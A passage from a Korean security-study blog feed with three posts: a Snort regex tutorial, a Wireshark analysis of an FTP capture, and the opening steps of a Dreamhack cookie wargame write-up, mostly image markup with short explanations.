&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트6.PNG&quot; data-origin-width=&quot;230&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CHaBQ/btrqu1lQmhi/mA3m5HaWEq6lchtE3lLbM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CHaBQ/btrqu1lQmhi/mA3m5HaWEq6lchtE3lLbM0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CHaBQ/btrqu1lQmhi/mA3m5HaWEq6lchtE3lLbM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCHaBQ%2Fbtrqu1lQmhi%2FmA3m5HaWEq6lchtE3lLbM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;230&quot; height=&quot;409&quot; data-filename=&quot;스노트6.PNG&quot; data-origin-width=&quot;230&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;abc뒤에 $를 입력하면 위와같이 abc로 끝나는 문자열이 매칭되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트7.PNG&quot; data-origin-width=&quot;225&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/r4Ux0/btrqseGj4qG/ijdkEX1odSBWgHTJridaHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/r4Ux0/btrqseGj4qG/ijdkEX1odSBWgHTJridaHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/r4Ux0/btrqseGj4qG/ijdkEX1odSBWgHTJridaHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fr4Ux0%2FbtrqseGj4qG%2FijdkEX1odSBWgHTJridaHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;225&quot; height=&quot;412&quot; data-filename=&quot;스노트7.PNG&quot; data-origin-width=&quot;225&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1+2를 가진 문자열을 매칭시키고 싶어서 1+2를 입력했지만 생각대로 매칭이 되지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이유는 +기호는 메타문자이기 때문에 그 기능을 수행해서 12가 매칭이된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트8.PNG&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;401&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0xg60/btrqmIBnjuy/Ks8auRxaRDikY8MtSFWjdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0xg60/btrqmIBnjuy/Ks8auRxaRDikY8MtSFWjdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0xg60/btrqmIBnjuy/Ks8auRxaRDikY8MtSFWjdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0xg60%2FbtrqmIBnjuy%2FKs8auRxaRDikY8MtSFWjdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;211&quot; height=&quot;401&quot; data-filename=&quot;스노트8.PNG&quot; data-origin-width=&quot;211&quot; data-origin-height=&quot;401&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이때는 \(이스케이프 문자)를 사용해서 뒤에 있는 메타문자를 일반문자로 바꾸면된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 위와같이 1+2가 원하는대로 매칭이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트10.PNG&quot; data-origin-width=&quot;356&quot; data-origin-height=&quot;405&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PhoCF/btrqselYR1T/QCklxeslb4l6g6kUhfYYC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PhoCF/btrqselYR1T/QCklxeslb4l6g6kUhfYYC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PhoCF/btrqselYR1T/QCklxeslb4l6g6kUhfYYC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPhoCF%2FbtrqselYR1T%2FQCklxeslb4l6g6kUhfYYC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;248&quot; height=&quot;282&quot; data-filename=&quot;스노트10.PNG&quot; data-origin-width=&quot;356&quot; data-origin-height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이메일 형식의 문자열을 매칭시키고 싶을때는 위와같이 입력하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.은 임의의 문자 한개를 의미하고 *은 0번 또는 1번이상을 뜻한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;()은 서브패턴을 의미하고 |은 또는을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;.*@.*\.(com|org|net|kr|co\.kr)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;의미는 임의의 문자 0 또는 1번이상이오고 @가 매칭되어야하고 그다음에 임의의 문자 0 또는 1번이상이오고 .이 매칭되면 다음 문자로 com, org, net, kr, co.kr 이 매칭되어야 된다는 것을 의미한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트11.PNG&quot; data-origin-width=&quot;373&quot; data-origin-height=&quot;415&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cd5Nrq/btrqvzv8K00/XAGzPGVv0X4JLU84snNIB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cd5Nrq/btrqvzv8K00/XAGzPGVv0X4JLU84snNIB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cd5Nrq/btrqvzv8K00/XAGzPGVv0X4JLU84snNIB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcd5Nrq%2Fbtrqvzv8K00%2FXAGzPGVv0X4JLU84snNIB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;282&quot; height=&quot;314&quot; data-filename=&quot;스노트11.PNG&quot; data-origin-width=&quot;373&quot; data-origin-height=&quot;415&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전화번호 형식을 매칭시키고 싶을때는 위와같이 입력하면된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;010과 011은 무조건 앞에 있어야되고 -이 매칭된다음 0~9중에 아무거나 3, 4자리를 체우고 -이 매칭되고 0~9중에 아무거나 4자리를 체워야된다는 뜻이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 설정하면 밑에있는 카드번호와 겹치지않고 전화번호만 매칭시킬 수 있다.&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>snort</category>
      <category>Snort정규식</category>
      <category>네트워크</category>
      <category>정규 표현식 작성</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/113</guid>
      <comments>https://geru.tistory.com/113#entry113comment</comments>
      <pubDate>Tue, 8 Aug 2023 09:00:47 +0900</pubDate>
    </item>
    <item>
      <title>[와이어샤크] FTP 패킷분석</title>
      <link>https://geru.tistory.com/112</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;wire1.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/SHNad/btrqtUnd5wR/4KXMztYw6kSn8rtYWhoVvk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/SHNad/btrqtUnd5wR/4KXMztYw6kSn8rtYWhoVvk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/SHNad/btrqtUnd5wR/4KXMztYw6kSn8rtYWhoVvk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FSHNad%2FbtrqtUnd5wR%2F4KXMztYw6kSn8rtYWhoVvk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;wire1.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 ACTIVE_FTP 샘플을 이용해서 FTP가 어떻게 통신하는지 알아보았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;wire2.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/x8F4t/btrqpuJm4Q5/qobqTLZ2b6ccJ0aM4Kcmck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/x8F4t/btrqpuJm4Q5/qobqTLZ2b6ccJ0aM4Kcmck/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/x8F4t/btrqpuJm4Q5/qobqTLZ2b6ccJ0aM4Kcmck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fx8F4t%2FbtrqpuJm4Q5%2FqobqTLZ2b6ccJ0aM4Kcmck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;wire2.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 Statistics에 들어가서 Conversations을 들어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;wire3.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;794&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/p2jVe/btrqobpIonV/1k18fHGKYDh6B4OniT66Y1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/p2jVe/btrqobpIonV/1k18fHGKYDh6B4OniT66Y1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/p2jVe/btrqobpIonV/1k18fHGKYDh6B4OniT66Y1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fp2jVe%2FbtrqobpIonV%2F1k18fHGKYDh6B4OniT66Y1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;794&quot; data-filename=&quot;wire3.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;794&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;들어가서 Address A를 정렬하면 다음과 같은 화면을 볼 수 있는데 포트번호 21번, 20번을 보고 FTP 통신을 하고 있다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;또, 121.63.98.130이 서버고 121.63.98.128이 클라이언트라는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;wire4.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;794&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/deuYrn/btrqmOICXWZ/Ch5MPI1Pvr6gU0J3megIrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/deuYrn/btrqmOICXWZ/Ch5MPI1Pvr6gU0J3megIrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/deuYrn/btrqmOICXWZ/Ch5MPI1Pvr6gU0J3megIrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdeuYrn%2FbtrqmOICXWZ%2FCh5MPI1Pvr6gU0J3megIrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;794&quot; data-filename=&quot;wire4.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;794&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;좀 더 분석하기 위해서 다음과 같이 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Inkedwire5_LI.jpg&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oBFaH/btrqmM44j7r/OBr5ZDdkd5qpZGMnfoLWXK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oBFaH/btrqmM44j7r/OBr5ZDdkd5qpZGMnfoLWXK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oBFaH/btrqmM44j7r/OBr5ZDdkd5qpZGMnfoLWXK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoBFaH%2FbtrqmM44j7r%2FOBr5ZDdkd5qpZGMnfoLWXK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;Inkedwire5_LI.jpg&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 위와같은 화면을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;TCP기반 통신이므로 SYN, SYN+ACK, ACK 3웨이핸드쉐이커를 했다는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3웨이핸드쉐이커가 끝나고 위에서 4번째 줄에 FTP베너를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음 FTP를 접속했을때 클라이언트에게 해당 FTP서버의 버전 등의 정보를 보내는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 9번째 줄에 검은색으로 가려놓은 부분은 유저네임이고 11번째에는 패스워드가 적혀있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;wire6.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1i9q9/btrqvy4MXvR/h9vKUBlrUWTE2nZ5Ahr2Pk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1i9q9/btrqvy4MXvR/h9vKUBlrUWTE2nZ5Ahr2Pk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1i9q9/btrqvy4MXvR/h9vKUBlrUWTE2nZ5Ahr2Pk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1i9q9%2Fbtrqvy4MXvR%2Fh9vKUBlrUWTE2nZ5Ahr2Pk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1040&quot; data-filename=&quot;wire6.PNG&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1040&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 들어가준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Inkedwire7_LI.jpg&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;1048&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dijro3/btrqmN3UWOj/EpRY8k65un3InjIKmsHrUk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dijro3/btrqmN3UWOj/EpRY8k65un3InjIKmsHrUk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dijro3/btrqmN3UWOj/EpRY8k65un3InjIKmsHrUk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdijro3%2FbtrqmN3UWOj%2FEpRY8k65un3InjIKmsHrUk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1282&quot; height=&quot;1048&quot; data-filename=&quot;Inkedwire7_LI.jpg&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;1048&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위와같이 주고받은 더 명확하게 통신한 내용들을 알 수 있다.&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>FTP</category>
      <category>FTP패킷분석</category>
      <category>네트워크</category>
      <category>와이어샤크</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/112</guid>
      <comments>https://geru.tistory.com/112#entry112comment</comments>
      <pubDate>Mon, 7 Aug 2023 09:00:39 +0900</pubDate>
    </item>
    <item>
      <title>[드림핵] cookie 문제</title>
      <link>https://geru.tistory.com/114</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;[HOME&amp;nbsp;&amp;gt;&amp;nbsp;LOGIN]으로&amp;nbsp;접근하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BibGl/btsqm67IaDb/3elyVFXCiz9aSIokqCg6Rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BibGl/btsqm67IaDb/3elyVFXCiz9aSIokqCg6Rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BibGl/btsqm67IaDb/3elyVFXCiz9aSIokqCg6Rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBibGl%2Fbtsqm67IaDb%2F3elyVFXCiz9aSIokqCg6Rk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;717&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&amp;nbsp;로그인&amp;nbsp;폼을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;716&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPdb97/btsp3mkQlwX/nZ84OgPqoQnVkQhu0DFZ9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPdb97/btsp3mkQlwX/nZ84OgPqoQnVkQhu0DFZ9K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPdb97/btsp3mkQlwX/nZ84OgPqoQnVkQhu0DFZ9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPdb97%2Fbtsp3mkQlwX%2FnZ84OgPqoQnVkQhu0DFZ9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1237&quot; height=&quot;716&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;716&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&amp;nbsp;드림핵&amp;nbsp;Cookie문제&amp;nbsp;게시글에&amp;nbsp;존재하는&amp;nbsp;문제&amp;nbsp;파일을&amp;nbsp;다운로드하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PG3WU/btsp63kTRqw/UfSLAoBHal4kKezbWNfiUK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PG3WU/btsp63kTRqw/UfSLAoBHal4kKezbWNfiUK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PG3WU/btsp63kTRqw/UfSLAoBHal4kKezbWNfiUK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPG3WU%2Fbtsp63kTRqw%2FUfSLAoBHal4kKezbWNfiUK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;714&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.&amp;nbsp;문제파일을&amp;nbsp;메모장에서&amp;nbsp;확인&amp;nbsp;시&amp;nbsp;사용자의&amp;nbsp;계정을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;720&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/1dN6G/btsqfzWSKxU/bQ445rc4Dr7LbY75MBq55K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/1dN6G/btsqfzWSKxU/bQ445rc4Dr7LbY75MBq55K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/1dN6G/btsqfzWSKxU/bQ445rc4Dr7LbY75MBq55K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F1dN6G%2FbtsqfzWSKxU%2FbQ445rc4Dr7LbY75MBq55K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1237&quot; height=&quot;720&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;720&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;게스트&amp;nbsp;계정을&amp;nbsp;로그인&amp;nbsp;시도하였습니다.&lt;/p&gt;
